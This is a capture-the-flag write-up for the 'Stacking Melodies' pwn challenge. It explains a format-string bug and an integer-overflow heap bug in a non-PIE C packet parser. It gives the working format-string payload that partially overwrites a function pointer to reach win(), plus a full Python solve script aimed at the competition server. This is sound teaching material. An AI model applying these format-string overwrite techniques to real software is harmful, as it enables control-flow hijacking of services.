← Back to Writeups
CUSTOMMediumPwn

Stacking Melodies

XESXOR9/10/20264 min read
#pwn#custom#medium#format_string_leak#partial_function_pointer_overw#ret2win

Stacking Melodies

Platform: CUSTOM | Category: Pwn | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: format_string_leak, partial_function_pointer_overwrite, ret2win

Summary

Walkthrough of the CUSTOM Pwn Stacking Melodies. Task: a public DawgCTF / UMBCCyberDawgs source release exposes a non-PIE packet parser with both a format-string bug and an integer-overflow-backed heap overflow. Solution: use the format string to le

Description

A server at nc.umbccd.net 8929 is hosting the same code, but theirs has a flag, retrieve it. Public source: https://github.com/UMBCCyberDawgs/dawgctf-sp26/tree/main/Stacking%20melodies

This challenge came from the public UMBCCyberDawgs / DawgCTF '26 repository, while my local workspace grouped it under metactf. We are given the source for a 64-bit Linux service that parses a small custom packet, prints a title field, computes a rating, and then calls a function pointer stored in a heap-allocated session context.

Analysis

The public source immediately reveals two memory corruption bugs.

1. Primary bug: format string

The title is attacker-controlled and reaches:

c
printf(title);

This gives both an information leak and an arbitrary write through %n if one of the stack arguments resolves to a writable pointer.

2. Secondary bug: integer overflow into heap overflow

The code also validates the data length incorrectly:

c
static inline int validate_size(uint32_t sz) {
    size_t aligned = (sz + 7) & ~7;
    return (int)aligned;
}

Later it allocates with:

c
size_t stream_size = (size_t)(d_len + 0x40);
char *stream_buf = malloc(stream_size);
fread(stream_buf, 1, d_len, stdin);

Because validate_size() returns an int after alignment while the real allocation uses d_len + 0x40, a large d_len can wrap and produce a too-small heap chunk before fread() copies the full attacker-controlled size. That looks exploitable, but I did not need it for the solve.

Build assumptions

The source comment says the binary was compiled with:

c
gcc -no-pie -g in.c -o out

That matters a lot: a non-PIE binary keeps stable text addresses, so once a code pointer is leaked, nearby functions such as win() can be inferred reliably.

Exploitation

Step 1: confirm the format-string layout remotely

I first sent a title of the form:

text
%1$p|%2$p|%3$p|...|%40$p

The remote output included these useful values:

  • arg8 = 0x4
  • arg9 = 0x4063f0
  • arg15 = 0x4014bb
  • arg19 = 0x40148f

The important observation is that several leaked code pointers sit in the 0x401000 range, exactly what we expect from a non-PIE ELF. Argument 9 also gave a writable target usable with %n.

Step 2: line up local and remote addresses

Compiling the public source locally as a non-PIE Linux x86_64 binary produced matching structure but slightly different code offsets:

  • local arg15 = 0x4014a1
  • local arg19 = 0x401475
  • local win = 0x401234

The remote leaks are consistently shifted by +0x1a:

  • 0x4014bb - 0x4014a1 = 0x1a
  • 0x40148f - 0x401475 = 0x1a

The most likely reason is a small source difference in the deployed binary. In practice, a local variant where calculate_rating() returns rand() instead of 0 reproduces that shift.

So the remote win() address is inferred as:

text
0x401234 + 0x1a = 0x40124e

Step 3: partially overwrite the function pointer

After the vulnerable printf(title), the program does:

c
ctx->server_logging("Rating", rating);

Originally this function pointer targets log_event(), which already lives in the same non-PIE text segment. That means I do not need to write the full 8-byte pointer. Replacing only the low 16 bits is enough to retarget it to win().

The low 16 bits of remote win() are:

text
0x124e = 4686

The working payload was exactly:

text
%8$4686c%9$hn

Why it works:

  • %8$4686c pads the output count to 4686 characters.
  • %9$hn writes that count as a 16-bit value to the address referenced by argument 9.
  • The low two bytes of the stored function pointer become 0x124e.
  • When the program later calls ctx->server_logging, execution jumps into win().

Step 4: get the flag

Once the overwritten function pointer is invoked, win() opens flag.txt, prints it, and exits. The remote service returned:

text
DawgCTF{REDACTED}

Solve Script

python
#!/usr/bin/env python3
import re
import socket
import struct
import sys

HOST = "nc.umbccd.net"
PORT = 8929
MAGIC = 0x564D576E
FLAG_RE = re.compile(rb"DawgCTF\{[^\r\n]{0,200}\}")


def send_packet(title: bytes, data: bytes, timeout: float = 5.0) -> bytes:
    pkt = struct.pack("<III", MAGIC, len(title), len(data)) + title + data
    s = socket.create_connection((HOST, PORT), timeout=10)
    s.sendall(pkt)
    s.settimeout(timeout)
    out = b""
    try:
        while True:
            chunk = s.recv(65536)
            if not chunk:
                break
            out += chunk
    except TimeoutError:
        pass
    finally:
        s.close()
    return out


def leak() -> bytes:
    title = b"|".join(f"%{i}$p".encode() for i in range(1, 41))
    return send_packet(title, b"AAAA", timeout=3.0)


def exploit() -> bytes:
    # Remote win() inferred from leaked non-PIE addresses:
    # local win 0x401234 + remote shift 0x1a = 0x40124e.
    # Low 16 bits are 0x124e == 4686.
    title = b"%8$4686c%9$hn"
    return send_packet(title, b"AAAA", timeout=10.0)


def main() -> int:
    mode = sys.argv[1] if len(sys.argv) > 1 else "exploit"
    out = leak() if mode == "leak" else exploit()
    sys.stdout.buffer.write(out)
    m = FLAG_RE.search(out)
    if m:
        print(f"\nFLAG={m.group().decode()}")
        return 0
    return 1


if __name__ == "__main__":
    raise SystemExit(main())

Key Takeaways / Lessons

  • Mastering format_string_leak, partial_function_pointer_overwrite, ret2win was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-04-10 • CUSTOM • Stacking Melodies • Difficulty: Medium